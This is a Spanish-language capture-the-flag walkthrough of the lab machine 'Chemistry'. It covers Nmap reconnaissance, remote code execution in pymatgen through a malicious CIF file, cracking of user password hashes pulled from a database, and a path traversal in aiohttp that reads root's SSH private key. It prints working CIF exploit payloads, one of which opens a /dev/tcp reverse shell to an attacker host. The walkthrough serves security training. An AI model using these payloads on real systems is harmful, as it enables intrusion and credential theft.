Chemistry es una máquina Linux de dificultad fácil que muestra una vulnerabilidad de ejecución remota de código (RCE) en la biblioteca Python pymatgen (CVE-2024-23346) al cargar un archivo CIF malicioso en el sitio web CIF Analyzer alojado en el objetivo. Después de descubrir y descifrar los hashes, nos autenticamos en el objetivo a través de SSH como usuario rosa. Para la escalada de privilegios, explotamos una vulnerabilidad de Path Traversal que conduce a una lectura de archivo arbitrario en una biblioteca Python llamada AioHTTP (CVE-2024-23334) que se utiliza en la aplicación web que se ejecuta internamente para leer el indicador raíz.
Reconnaissance
Realizaremos un reconocimiento con Nmap para ver los puertos que están expuestos en la máquina Chemistry. Este resultado lo almacenaremos en un archivo llamado allPorts.
❯ nmap -p- --open -sS --min-rate 1000 -Pn -n 10.10.11.38 -oG allPorts
Starting Nmap 7.95 ( https://nmap.org ) at 2025-01-15 03:30 CET
Nmap scan report for 10.10.11.38
Host is up (0.062s latency).
Not shown: 65533 closed tcp ports (reset)
PORT STATE SERVICE
22/tcp open ssh
5000/tcp open upnp
Nmap done: 1 IP address (1 host up) scanned in 15.60 seconds
❯ extractPorts allPorts
[*] Extracting information...
[*] IP Address: 10.10.11.38
[*] Open ports: 22,5000
[*] Ports copied to clipboard
Lanzaremos scripts de reconocimiento sobre los puertos encontrados y lo exportaremos en formato oN y oX para posteriormente trabajar con ellos. Verificamos que al parecer se trata de una máquina Ubuntu que dispone de una página en el puerto 5000 y del servicio SSH expuesto.
❯ nmap -sCV -p22,5000 10.10.11.38 -A -oN targeted -oX targetedXML
Starting Nmap 7.95 ( https://nmap.org ) at 2025-01-15 03:31 CET
Stats: 0:00:00 elapsed; 0 hosts completed (0 up), 0 undergoing Script Pre-Scan
NSE Timing: About 0.00% done
Nmap scan report for 10.10.11.38
Host is up (0.073s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.11 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 b6:fc:20:ae:9d:1d:45:1d:0b:ce:d9:d0:20:f2:6f:dc (RSA)
| 256 f1:ae:1c:3e:1d:ea:55:44:6c:2f:f2:56:8d:62:3c:2b (ECDSA)
|_ 256 94:42:1b:78:f2:51:87:07:3e:97:26:c9:a2:5c:0a:26 (ED25519)
5000/tcp open http Werkzeug httpd 3.0.3 (Python 3.9.5)
|_http-title: Chemistry - Home
|_http-server-header: Werkzeug/3.0.3 Python/3.9.5
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running: Linux 4.X|5.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
OS details: Linux 4.15 - 5.19, Linux 5.0 - 5.14
Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
TRACEROUTE (using port 22/tcp)
HOP RTT ADDRESS
1 79.53 ms 10.10.16.1
2 40.10 ms 10.10.11.38
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 12.88 seconds
Procederemos a transformar el archivo generado targetedXML para transformar el XML en un archivo HTML para posteriormente montar un servidor web y visualizarlo.
❯ xsltproc targetedXML > index.html
❯ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
Web Enumeration
Tambiñen verificamos que disponemos de las opciones para iniciar sesión o registrarnos como usuario.
Un archivo CIF (Crystallographic Information File) es un formato de archivo de texto estándar para representar información cristalográfica, promulgado por la Unión Internacional de Cristalografía (IUCr).
Procederemos a descargarnos el archivo CIF para analizar la estructura de este mismo.
Al verificar el contenido del archivo de ejemplo recién descargado, verificaremos la estructura de este mismo.
Procederemos a subir el archivo de ejemplo example.cif y verificamos que nos aparecen las opciones (View, Delete). Procederemos a visualizar el archivo CIF subido.
Verificamos que nos reddirige al siguiente resultado. Por lo que podemos apreciar, al parecer lo que ocurre por detrás de la herramienta es la deserialización de los datos para ser posteriormente mostrados en el siguiente resultado.
Arbitrary Code Execution in Pymatgen via Insecure Deserialization (CVE-2024-23346) [RCE]
Realizando una investigación sobre posibles vulnerabilidades para crear archivos CIFsmaliciosos, nos encontramos con el siguiente CVE.
Pymatgen (Python Materials Genomics) es una librería Python de código abierto para análisis de materiales. Existe una vulnerabilidad de seguridad crítica en el método JonesFaithfulTransformation.from_transformation_str() dentro de la librería pymatgen antes de la versión 2024.2.20.
Este método utiliza de forma insegura eval() para procesar la entrada, lo que permite la ejecución de código arbitrario al analizar entradas que no son de confianza. La versión 2024.2.20 soluciona este problema.
También encontramos con el siguiente repositorio de GitHub que nos muestra un ejemplo de un archivo CIF malicioso que permite la ejecución de comandos remotos.
En este ejemplo, para probar que la vulnerabilidad existe y podemos aprovecharnos de ella, lo que realizaremos es que haga una solicitud con la herramienta wget a nuestro servidor web que montaremos posteriormente y haga una llamada a un archivo que no existe. Esto con el objetivo de verificar si recibimos en nuestro servidor web la solicitud que realiza el equipo víctima a nuestro servidor.
❯ catnp test.cif
data_5yOhtAoR
_audit_creation_date 2018-06-08
_audit_creation_method "Pymatgen CIF Parser Arbitrary Code Execution Exploit"
loop_
_parent_propagation_vector.id
_parent_propagation_vector.kxkykz
k1 [0 0 0]
_space_group_magn.transform_BNS_Pp_abc 'a,b,[d for d in ().__class__.__mro__[1].__getattribute__ ( *[().__class__.__mro__[1]]+["__sub" + "classes__"]) () if d.__name__ == "BuiltinImporter"][0].load_module ("os").system ("wget 10.10.16.5/test");0,0,0'
_space_group_magn.number_BNS 62.448
_space_group_magn.name_BNS "P n' m a' "
Procederemos a subir al sitio web el archivo CIF malicioso.
Antes de visualizar el contenido del archivo malicioso, nos levantaremos un servidor web con Python.
❯ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
Procederemos a visualizar el archivo malicioso subido para revisar si se ejecuta el comando arbitrario.
En nuestro servidor web, verificamos que se ha recibido una solicitud GET desde el equipo víctima. Esto nos acaba confirmando de que podemos lograr ejecutar comandos remotos en la máquina víctima.
❯ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.10.11.38 - - [15/Jan/2025 03:42:43] code 404, message File not found
10.10.11.38 - - [15/Jan/2025 03:42:43] "GET /test HTTP/1.1" 404 -
Sabiendo esto, nuestro objetivo será intentar ganar acceso a través de una Reverse Shell al equipo víctima.
❯ cat test.cif
data_5yOhtAoR
_audit_creation_date 2018-06-08
_audit_creation_method "Pymatgen CIF Parser Arbitrary Code Execution Exploit"
loop_
_parent_propagation_vector.id
_parent_propagation_vector.kxkykz
k1 [0 0 0]
_space_group_magn.transform_BNS_Pp_abc 'a,b,[d for d in ().__class__.__mro__[1].__getattribute__ ( *[().__class__.__mro__[1]]+["__sub" + "classes__"]) () if d.__name__ == "BuiltinImporter"][0].load_module ("os").system ("/bin/bash -c \'sh -i >& /dev/tcp/10.10.16.5/443 0>&1\'");0,0,0'
_space_group_magn.number_BNS 62.448
_space_group_magn.name_BNS "P n' m a' "
Nos pondremos en escucha por un puerto, subiremos nuevamente el nuevo archivo CIF malicioso y al visualizarlo desde la página web, verificaremos que hemos recibido el acceso a la máquina víctima correctamente.
❯ nc -nlvp 443
listening on [any] 443 ...
connect to [10.10.16.5] from (UNKNOWN) [10.10.11.38] 36714
sh: 0: can't access tty; job control turned off
$ hostname
chemistry
$ whoami
adminapp
Initial Access
Confidential information exposed in a DB file
Revisando el directorio en el cual nos encontramos actualmente con el usuario adminapp, revisamos que existe un archivo de una base de datos.
Al verificar el contenido de la base de datos, nos encontramos con usuarios y lo que parecen ser contraseñas en formato hash.
adminapp@chemistry:~/instance$ cat database.db
�f�K�ytableuseruserCREATE TABLE user (
id INTEGER NOT NULL,
username VARCHAR(150) NOT NULL,
password VARCHAR(150) NOT NULL,
PRIMARY KEY (id),
UNIQUE (username)
)';indexsqlite_autoindex_user_1user�3�5tablestructurestructureCREATE TABLE structure (
id INTEGER NOT NULL,
user_id INTEGER NOT NULL,
filename VARCHAR(150) NOT NULL,
identifier VARCHAR(100) NOT NULL,
PRIMARY KEY (id),
FOREIGN KEY(user_id) REFERENCES user (id),
UNIQUE (identifier)
����42Utest.cifd0c31e9e-b720-4eec-8a50-929380e381e3
Maxel9347f9724ca083b17e39555c36fd9007*e381e3 kristel6896ba7b11a62cacffbdaded457c6d92(
eusebio6cad48078d0241cca9a7b322ecd073b3)abian4e5Mtaniaa4aa55e816205dc0389591c9f82f43bbMvictoriac3601ad2286a4293868ec2a4bc606ba3)Mpeter6845c17d298d95aa942127bdad2ceb9b*Mcarlos9ad48828b0955513f7cf0f7f6510c8f8*Mjobert3dec299e06f7ed187bac06bd3b670ab2*Mrobert02fcf7cfc10adc37959fb21f06c6b467(Mrosa63ed86ee9f624c7b14f1d4f43dc251a5'Mapp197865e46b878d9e74a0346b6d59886a)Madmin2861debaf8d99436a10ed6f75a252abf
a��x����a�l�����__�
gzzcoo
kristeaxel
fabian
gelacia
eusebio
tania
victoriapeter
carlos
jobert
roberrosaapp
Cracking hashes
Procederemos a crackear los hashes obtenidos, y verificamos que logramos crackear el hash del usuario rosa y obtenemos sus credenciales en texto plano.
Desde la consola que ya disponemos acceso, procederemos a migrar al usuario rosa accediendo con las credenciales obtenidas, verificamos que ganamos del acceso correctamente.
adminapp@chemistry:~/instance$ su rosa
Password:
rosa@chemistry:/home/app/instance$ whoami
rosa
También verificamos que hemos ganado el acceso a la flag de user.txt
Reviasndo los puertos que se encuentran abiertos en la máquina, verificamos que hay un proceso llamado localhost:http-alt.
Puerto 8080 (TCP): alternativa HTTP (http_alt) comúnmente utilizada para servidores proxy web y de almacenamiento en caché, o para ejecutar un servidor web como un usuario no root.
Realizando una búsqueda sobre posibles vulnerabilidades de la versión del servidor, nos encontramos con el siguiente CVE-2024-23334.
aiohttp es un framework cliente/servidor HTTP asíncrono para asyncio y Python. Cuando se utiliza aiohttp como servidor web y se configuran rutas estáticas, es necesario especificar la ruta raíz para los archivos estáticos. Además, la opción 'follow_symlinks' se puede utilizar para determinar si se deben seguir enlaces simbólicos fuera del directorio raíz estático.
Cuando 'follow_symlinks' se establece en Verdadero, no hay validación para verificar si la lectura de un archivo está dentro del directorio raíz. Esto puede generar vulnerabilidades de directory traversal, lo que resulta en acceso no autorizado a archivos arbitrarios en el sistema, incluso cuando no hay enlaces simbólicos presentes.
Se recomiendan como mitigaciones deshabilitar follow_symlinks y usar un proxy inverso. La versión 3.9.2 soluciona este problema.
También nos encontramos con el siguiente repositorio que nos muestra un PoC (Proof of concept) de la explotación de esta vulnerabilidad de Path Traversal. Realizando la explotación, verificamos que hemos logrado obtener directamente la flag de root.txt.
En nuestro caso, deberemos de modificar el exploit original para que utilice el puerto 8080 y no el que viene por defecto que es el 8081.
Modificaremos el script original para que lea en este caso, el archivo /root/.ssh/id_rsa y así lograr obtener la clave privada del usuario root y conectarnos posteriormente por SS.
Volvemos a ejeuctar el exploit y verificamos que logramos visualizar el contenido correctamente.
Copiaremos la clave privada del usuario root en nuestro equipo local, le daremos los permisos correspondientes y procederemos a autenticarnos al equipo víctima con el usuario root haciendo uso de su clave privada.
❯ chmod 600 id_rsa
❯ ssh -i id_rsa root@10.10.11.38
Welcome to Ubuntu 20.04.6 LTS (GNU/Linux 5.4.0-196-generic x86_64)
...[snip]...
Last login: Thu Jan 16 05:47:26 2025 from 10.10.16.5
root@chemistry:~# hostname
chemistry
root@chemistry:~# whoami
root
A través de la herramienta de , la utilizaremos para extraer los puertos del archivo que nos generó el primer escaneo a través de Nmap. Esta herramienta nos copiará en la clipboard los puertos encontrados.
Accederemos a y verificaremos el resultado en un formato más cómodo para su análisis.
Procederemos a acceder al sitio web , verificamos que es una página web que actúa como herramienta para analizar los archivos CIF (Crystallographic Information File) que sean subidos.
Procederemos a acceder a la página de y procederemos a intentar registrarnos en el sitio web.
Revisaremos que somos redirigidos a la página , la cual verificamos que podemos subir un archivo CIF, además nos proporcionan un ejemplo de la estructura de un archivo CIF.